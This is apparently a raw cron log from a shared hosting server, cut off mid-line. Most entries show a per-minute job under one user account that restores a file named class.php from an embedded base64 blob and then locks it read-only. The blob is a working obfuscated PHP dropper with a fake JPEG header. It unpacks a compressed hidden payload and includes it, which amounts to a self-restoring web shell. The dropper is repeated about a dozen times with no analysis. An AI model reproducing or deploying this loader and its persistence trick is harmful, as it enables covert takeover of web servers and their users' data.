Nov 10 22:36:01 server CROND[18591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:37:01 server CROND[19474]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:38:01 server CROND[20217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:39:01 server CROND[21030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:39:01 server CROND[21031]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 22:40:01 server CROND[21855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:40:01 server CROND[21856]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 22:40:01 server CROND[21857]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:40:01 server CROND[21858]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:41:01 server CROND[22716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:42:01 server CROND[23372]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 22:42:01 server CROND[23374]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:43:01 server CROND[24025]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:44:01 server CROND[24721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:45:01 server CROND[25169]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 22:45:01 server CROND[25170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:45:01 server CROND[25171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 22:46:01 server CROND[25677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:47:01 server CROND[26427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:48:01 server CROND[27334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 22:49:01 server CROND[27994]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 